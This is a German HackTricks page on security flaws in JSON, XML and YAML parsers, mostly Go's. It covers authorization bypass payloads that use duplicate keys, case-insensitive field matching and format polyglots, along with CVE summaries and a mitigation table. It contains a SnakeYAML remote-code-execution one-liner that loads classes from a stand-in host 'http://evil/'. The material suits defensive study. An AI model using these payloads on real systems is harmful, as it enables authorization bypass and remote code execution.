JSON, XML & Yaml Hacking & Probleme
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).
Support HackTricks
- Sieh dir die subscription plans an!
- Tritt der 💬 Discord group, der telegram group bei, folge @hacktricks_live auf X/Twitter, oder schau dir die LinkedIn page und den YouTube channel an.
- Teile hacking tricks, indem du PRs in die HackTricks und HackTricks Cloud github repos einreichst.
Go JSON Decoder
Die folgenden Probleme wurden im Go JSON erkannt, obwohl sie auch in anderen Sprachen vorhanden sein könnten. Diese Probleme wurden in this blog post veröffentlicht.
Go’s JSON, XML, and YAML parsers have a long trail of inconsistencies and insecure defaults that can be abused to bypass authentication, escalate privileges, or exfiltrate sensitive data.
(Un)Marshaling Unexpected Data
Ziel ist es, structs auszunutzen, die einem Angreifer erlauben, sensible Felder zu lesen/schreiben (z. B. IsAdmin, Password).
- Beispiel Struct:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
- Common Vulnerabilities
- Missing tag (kein Tag = Feld wird standardmäßig weiterhin geparst):
type User struct {
Username string
}
Payload:
{"Username": "admin"}
- Falsche Verwendung von
-:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
Payload:
{"-": true}
✔️ Richtiger Weg, ein Feld davon abzuhalten, (un)marshaled zu werden:
type User struct {
IsAdmin bool `json:"-"`
}
Parser-Differenzen
Das Ziel ist, die Autorisierung zu bypassen, indem man ausnutzt, dass verschiedene Parser dieselbe payload unterschiedlich interpretieren, z. B.:
- CVE-2017-12635: Apache CouchDB bypass via duplicate keys
- 2022: Zoom 0-click RCE via XML parser inconsistency
- GitLab 2025 SAML bypass via XML quirks
1. Duplicate Fields:
Go’s encoding/json nimmt das letzte Feld.
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
Andere Parser (z. B. Java’s Jackson) könnten das erste nehmen.
2. Groß-/Kleinschreibung: Go ist gegenüber Groß- und Kleinschreibung unempfindlich:
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
Sogar Unicode-Tricks funktionieren:
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
3. Cross-Service-Fehlanpassung: Angenommen:
- Proxy in Go geschrieben
- AuthZ-Service in Python geschrieben
Angreifer sendet:
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
- Python erkennt
UserActionund erlaubt es - Go erkennt
AdminActionund führt es aus
Data Format Confusion (Polyglots)
Das Ziel ist, Systeme auszunutzen, die Formate mischen (JSON/XML/YAML) oder bei Parser-Fehlern fail open sind, wie zum Beispiel:
- CVE-2020-16250: HashiCorp Vault hat JSON mit einem XML-Parser geparst, nachdem STS JSON statt XML zurückgegeben hatte.
Der Angreifer kontrolliert:
- Den Header
Accept: application/json - Teilweise Kontrolle über den JSON-Body
Der XML-Parser von Go hat es trotzdem geparst und der injizierten Identität vertraut.
- Crafted payload:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
Ergebnis:
- Go JSON parser:
Action_2(Groß-/Kleinschreibung wird nicht unterschieden; letzter Eintrag gewinnt) - YAML parser:
Action_1(Groß-/Kleinschreibung beachten) - XML parser: parst “Action_3” innerhalb des Strings
Bedeutende Parser-Schwachstellen (2023–2025)
Die folgenden öffentlich ausnutzbaren Probleme zeigen, dass unsicheres Parsen ein mehrsprachiges Problem ist — nicht nur ein Go-Problem.
SnakeYAML Deserialization RCE (CVE-2022-1471)
- Betroffen:
org.yaml:snakeyaml< 2.0 (verwendet von Spring-Boot, Jenkins, etc.). - Ursache:
new Constructor()deserialisiert beliebige Java-Klassen, wodurch gadget chains möglich werden, die in Remote-Code-Ausführung münden. - One-liner PoC (öffnet den Taschenrechner auf dem verwundbaren Host):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
- Fix / Abhilfe:
- Upgrade to ≥2.0 (uses
SafeLoaderby default). - On older versions, explicitly use
new Yaml(new SafeConstructor()).
libyaml Double-Free (CVE-2024-35325)
- Betroffen:
libyaml≤0.2.5 (C library, die von vielen language bindings verwendet wird). - Problem: Das doppelte Aufrufen von
yaml_event_delete()führt zu einem double-free, das Angreifer in DoS oder in bestimmten Szenarien in Heap-Exploitation verwandeln können. - Status: Upstream hat es als „API-Misuse“ abgelehnt, aber Linux-Distributionen lieferten die gepatchte 0.2.6, die den Pointer defensiv auf NULL setzt.
RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
- Betroffen: Tencent RapidJSON before commit
8269bc2(<1.1.0-patch-22). - Fehler: In
GenericReader::ParseNumber()erlaubt ungeprüfte Arithmetik Angreifern, riesige numerische Literale zu erzeugen, die umschlagen und den Heap korruptieren — letztlich ermöglicht das Privilegieneskalation, wenn der resultierende Objektgraph für Autorisierungsentscheidungen verwendet wird.
🔐 Gegenmaßnahmen (aktualisiert)
| Risiko | Fix / Empfehlung |
|---|---|
| Unbekannte Felder (JSON) | decoder.DisallowUnknownFields() |
| Doppelte Felder (JSON) | ❌ Keine Behebung in stdlib — validieren mit jsoncheck |
| Fallunabhängiger Abgleich (Go) | ❌ Keine Lösung — struct tags validieren + Eingabe vorab kanonisieren |
| XML garbage data / XXE | Verwende einen gehärteten Parser (encoding/xml + DisallowDTD) |
| Unbekannte YAML-Schlüssel | yaml.KnownFields(true) |
| Unsichere YAML-Deserialisierung | Verwende SafeConstructor / auf SnakeYAML ≥2.0 aktualisieren |
| libyaml ≤0.2.5 double-free | Auf 0.2.6 oder eine von der Distribution gepatchte Version aktualisieren |
| RapidJSON <patched commit | Mit der aktuellen RapidJSON (≥July 2024) kompilieren |
Siehe auch
Quellen
- Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).
Support HackTricks
- Sieh dir die subscription plans an!
- Tritt der 💬 Discord group, der telegram group bei, folge @hacktricks_live auf X/Twitter, oder schau dir die LinkedIn page und den YouTube channel an.
- Teile hacking tricks, indem du PRs in die HackTricks und HackTricks Cloud github repos einreichst.


